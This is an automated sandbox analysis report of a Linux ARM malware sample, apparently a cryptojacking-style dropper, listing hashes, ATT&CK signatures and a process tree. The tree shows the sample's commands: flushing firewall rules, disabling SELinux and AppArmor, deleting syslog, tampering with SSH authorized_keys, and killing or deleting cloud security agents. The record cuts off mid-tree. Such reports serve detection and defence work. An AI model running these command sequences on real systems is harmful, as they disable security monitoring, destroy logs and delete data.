7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30

Analysis

max time kernel
23s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/06/2026, 06:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
kworker
Size 35KB
Sample260604-g17f2aav71
SHA256 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30
MD5 501ec2da3039ebe4ca379f663232176a
SHA1 c91a51e4392a7cb5d3279f369ecaab670af6b543
SHA512 51984bad15d2ba12607fc6fffee25b5881bf83ae94f6e9ab5d1a737be8fd3cddeb67a97334799063d18ce68b0b7ef9818a8fd80ec8679d6b9708d09a107c0308
SSDEEP 768:vxlT2wDuWvWi78DcFHcbSRlIniRULz/Ql/+9l:wZDEcbSciI19l
TLSH
T1C4F2349DE070DCB13C64CC51DD923318A4AEE09FC5B3BA88BE1D393C67A4149F9A016E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
652	chmod

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	rm

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
660	iptables

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1112	xargs
1180	xargs
861	xargs
924	chattr
1190	xargs
926	chattr
1072	xargs
1102	xargs
1165	xargs
1195	xargs
920	chattr
975	xargs
1097	xargs
882	xargs
928	chattr
1026	xargs
1036	xargs
656	chattr
782	systemctl
912	xargs
927	chattr
993	xargs
1005	xargs
1127	xargs
702	grep
918	chattr
981	xargs
1021	xargs
1185	xargs
1200	xargs
922	chattr
937	xargs
963	xargs
987	xargs
1052	xargs
1082	xargs
1122	xargs
719	systemctl
795	xargs
800	xargs
902	xargs
921	chattr
1046	xargs
917	chattr
919	chattr
1087	xargs
1132	xargs
1160	xargs
1205	xargs
668	chattr
877	xargs
892	xargs
897	xargs
923	chattr
999	xargs
1117	xargs
1170	xargs
871	xargs
887	xargs
907	xargs
956	xargs
1011	xargs
1062	xargs
925	chattr

Disables AppArmor 28 IoCs

Disables AppArmor security module.

pid	Process
787	systemctl
790	systemctl
706	systemctl
748	systemctl
756	systemctl
784	systemctl
786	systemctl
788	systemctl
751	systemctl
751	systemctl
782	systemctl
706	systemctl
706	systemctl
760	systemctl
777	systemctl
778	systemctl
783	systemctl
751	systemctl
706	systemctl
781	systemctl
785	systemctl
789	systemctl
751	systemctl
751	systemctl
751	systemctl
706	systemctl
706	systemctl
780	systemctl

Disables SELinux 1 TTPs 2 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
675	setenforce
705	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 6 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/systemd-network	kworker
File opened for modification	/usr/bin/pamdicks	kworker
File opened for modification	/usr/bin/ip6network	kworker
File opened for modification	/usr/bin/kswaped	kworker
File opened for modification	/usr/bin/irqbalanced	kworker
File opened for modification	/usr/bin/rctlcli	kworker

Reads CPU attributes 1 TTPs 57 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 32 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Process Discovery 1 TTPs 55 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
791	ps
796	ps
878	ps
1113	ps
1138	ps
1156	ps
844	ps
867	ps
1083	ps
1098	ps
1123	ps
1171	ps
1186	ps
1191	ps
703	ps
817	ps
831	ps
898	ps
1063	ps
1088	ps
1103	ps
1108	ps
883	ps
908	ps
1017	ps
1037	ps
1042	ps
1048	ps
1093	ps
1118	ps
873	ps
893	ps
903	ps
1022	ps
1032	ps
1053	ps
1073	ps
1128	ps
701	ps
857	ps
1027	ps
1078	ps
1133	ps
1149	ps
1161	ps
1166	ps
1058	ps
1068	ps
1143	ps
1176	ps
804	ps
888	ps
1181	ps
1196	ps
1201	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/141/status	ps
File opened for reading	/proc/322/status	ps
File opened for reading	/proc/676/stat	ps
File opened for reading	/proc/573/cmdline	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/28/cmdline	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/25/status	ps
File opened for reading	/proc/596/status	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/143/stat	ps
File opened for reading	/proc/84/cmdline	ps
File opened for reading	/proc/154/status	ps
File opened for reading	/proc/25/stat	ps
File opened for reading	/proc/650/cmdline	ps
File opened for reading	/proc/105/status	ps
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/315/cmdline	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/115/cmdline	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/573/status	ps
File opened for reading	/proc/1136/cmdline	ps
File opened for reading	/proc/43/cmdline	ps
File opened for reading	/proc/1088/stat	ps
File opened for reading	/proc/1123/stat	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/293/stat	ps
File opened for reading	/proc/141/stat	ps
File opened for reading	/proc/596/cmdline	ps
File opened for reading	/proc/763/cmdline	ps
File opened for reading	/proc/116/stat	ps
File opened for reading	/proc/599/status	ps
File opened for reading	/proc/639/stat	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/43/stat	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/317/status	ps
File opened for reading	/proc/322/status	ps
File opened for reading	/proc/105/status	ps
File opened for reading	/proc/339/status	ps
File opened for reading	/proc/334/status	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/286/cmdline	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/2/status	ps
File opened for reading	/proc/1090/cmdline	ps
File opened for reading	/proc/646/stat	ps
File opened for reading	/proc/322/stat	ps
File opened for reading	/proc/676/stat	ps
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/1160/stat	ps
File opened for reading	/proc/639/status	ps
File opened for reading	/proc/18/cmdline	ps
File opened for reading	/proc/224/stat	ps
File opened for reading	/proc/41/cmdline	ps
File opened for reading	/proc/23/status	ps

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
917	chattr
923	chattr

/tmp/kworker
/tmp/kworker
1⤵
- Write file to user bin folder
PID:650
- /bin/chmod
  chmod 777 /usr/bin/chattr /bin/chattr
  2⤵
  - File and Directory Permissions Modification
  PID:652
- /usr/bin/chattr
  chattr -iua /tmp/ /var/tmp/
  2⤵
  - Attempts to change immutable files
  PID:656
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:660
- /usr/bin/chattr
  chattr -iae /root/.ssh /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:668
- /bin/rm
  rm -rf "/tmp/addres*" "/tmp/walle*" /tmp/keys
  2⤵
  PID:672
- /bin/rm
  rm -f /var/log/syslog
  2⤵
  - Deletes system logs
  PID:673
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:675
- /bin/sync
  sync
  2⤵
  PID:677
- /bin/cat
  cat /var/spool/cron/
  2⤵
  PID:682
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:685
- /bin/mv
  mv /usr/bin/wgettnt /usr/bin/wd1
  2⤵
  PID:686
- /bin/mv
  mv /usr/bin/curltnt /usr/bin/cd1
  2⤵
  PID:687
- /bin/mv
  mv /usr/bin/wget1 /usr/bin/wd1
  2⤵
  PID:689
- /bin/mv
  mv /usr/bin/curl1 /usr/bin/cd1
  2⤵
  PID:690
- /bin/mv
  mv /usr/bin/cur /usr/bin/cd1
  2⤵
  PID:691
- /bin/mv
  mv /usr/bin/cdl /usr/bin/cd1
  2⤵
  PID:692
- /bin/mv
  mv /usr/bin/cdt /usr/bin/cd1
  2⤵
  PID:693
- /bin/mv
  mv /usr/bin/xget /usr/bin/wd1
  2⤵
  - Reads runtime system information
  PID:694
- /bin/mv
  mv /usr/bin/wge /usr/bin/wd1
  2⤵
  PID:696
- /bin/mv
  mv /usr/bin/wdl /usr/bin/wd1
  2⤵
  PID:697
- /bin/mv
  mv /usr/bin/wdt /usr/bin/wd1
  2⤵
  PID:698
- /bin/mv
  mv /usr/bin/wget /usr/bin/wd1
  2⤵
  PID:699
- /bin/mv
  mv /usr/bin/curl /usr/bin/cd1
  2⤵
  PID:700
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:701
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:702
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:704
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:703
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:705
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:706
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:707
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:708
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:709
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Enumerates kernel/hardware configuration
    PID:711
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:712
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:713
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:714
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:715
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:716
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    - Enumerates kernel/hardware configuration
    PID:719
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:722
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:725
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:729
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:732
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:736
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:739
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:743
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:706
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:706
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:706
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:706
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:706
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:706
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:748
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  PID:751
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:753
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:754
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:756
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:760
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:761
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:777
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:778
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:780
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:781
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:782
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:783
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:784
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:785
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:786
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:787
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:788
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:789
- /usr/local/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:751
- /usr/local/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:751
- /usr/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:751
- /usr/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:751
- /sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:751
- /bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:751
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:790
- /bin/grep
  grep -v grep
  2⤵
  PID:792
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:791
- /bin/grep
  grep aegis
  2⤵
  PID:793
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:795
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:794
- /bin/grep
  grep Yun
  2⤵
  PID:798
- /bin/grep
  grep -v grep
  2⤵
  PID:797
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:796
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:800
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:799
- /bin/grep
  grep aegis
  2⤵
  PID:806
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:808
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:814
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:814
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:814
- - /usr/bin/dirname
    dirname
    3⤵
    PID:814
- /bin/grep
  grep -v grep
  2⤵
  PID:805
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:809
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:816
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:816
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:816
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:816
- - /sbin/rm
    rm -rf
    3⤵
    PID:816
- - /bin/rm
    rm -rf
    3⤵
    PID:816
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:807
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:804
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:821
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:828
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:828
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:828
- - /usr/bin/dirname
    dirname
    3⤵
    PID:828
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:820
- /bin/grep
  grep hids
  2⤵
  PID:819
- /bin/grep
  grep -v grep
  2⤵
  PID:818
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:822
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:830
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:830
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:830
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:830
- - /sbin/rm
    rm -rf
    3⤵
    PID:830
- - /bin/rm
    rm -rf
    3⤵
    PID:830
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:817
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:834
- /bin/grep
  grep cloudwalker
  2⤵
  PID:833
- /bin/grep
  grep -v grep
  2⤵
  PID:832
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:836
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:842
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:842
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:842
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:842
- - /sbin/rm
    rm -rf
    3⤵
    PID:842
- - /bin/rm
    rm -rf
    3⤵
    PID:842
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:831
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:835
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:841
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:841
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:841
- - /usr/bin/dirname
    dirname
    3⤵
    PID:841
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:848
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:855
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:855
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:855
- - /usr/bin/dirname
    dirname
    3⤵
    PID:855
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:847
- /bin/grep
  grep titanagent
  2⤵
  PID:846
- /bin/grep
  grep -v grep
  2⤵
  PID:845
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:849
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:856
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:856
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:856
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:856
- - /sbin/rm
    rm -rf
    3⤵
    PID:856
- - /bin/rm
    rm -rf
    3⤵
    PID:856
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:844
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:860
- /bin/grep
  grep edr
  2⤵
  PID:859
- /bin/grep
  grep -v grep
  2⤵
  PID:858
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:861
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:857
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:871
- /bin/grep
  grep aegis
  2⤵
  PID:869
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:867
- /bin/grep
  grep -v grep
  2⤵
  PID:868
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:870
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:877
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:876
- /bin/grep
  grep Yun
  2⤵
  PID:875
- /bin/grep
  grep -v grep
  2⤵
  PID:874
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:873
- /bin/grep
  grep hids
  2⤵
  PID:880
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:882
- /bin/grep
  grep -v grep
  2⤵
  PID:879
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:878
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:881
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:886
- /bin/grep
  grep cloudwalker
  2⤵
  PID:885
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:887
- /bin/grep
  grep -v grep
  2⤵
  PID:884
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:883
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:891
- /bin/grep
  grep titanagent
  2⤵
  PID:890
- /bin/grep
  grep -v grep
  2⤵
  PID:889
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:892
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:888
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:896
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:897
- /bin/grep
  grep -v grep
  2⤵
  PID:894
- /bin/grep
  grep sgagent
  2⤵
  PID:895
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:893
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:902
- /bin/grep
  grep barad_agent
  2⤵
  PID:900
- /bin/grep
  grep -v grep
  2⤵
  PID:899
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:898
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:901
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:907
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:906
- /bin/grep
  grep hostguard
  2⤵
  PID:905
- /bin/grep
  grep -v grep
  2⤵
  PID:904
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:903
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:912
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:911
- /bin/grep
  grep httpgd
  2⤵
  PID:910
- /bin/grep
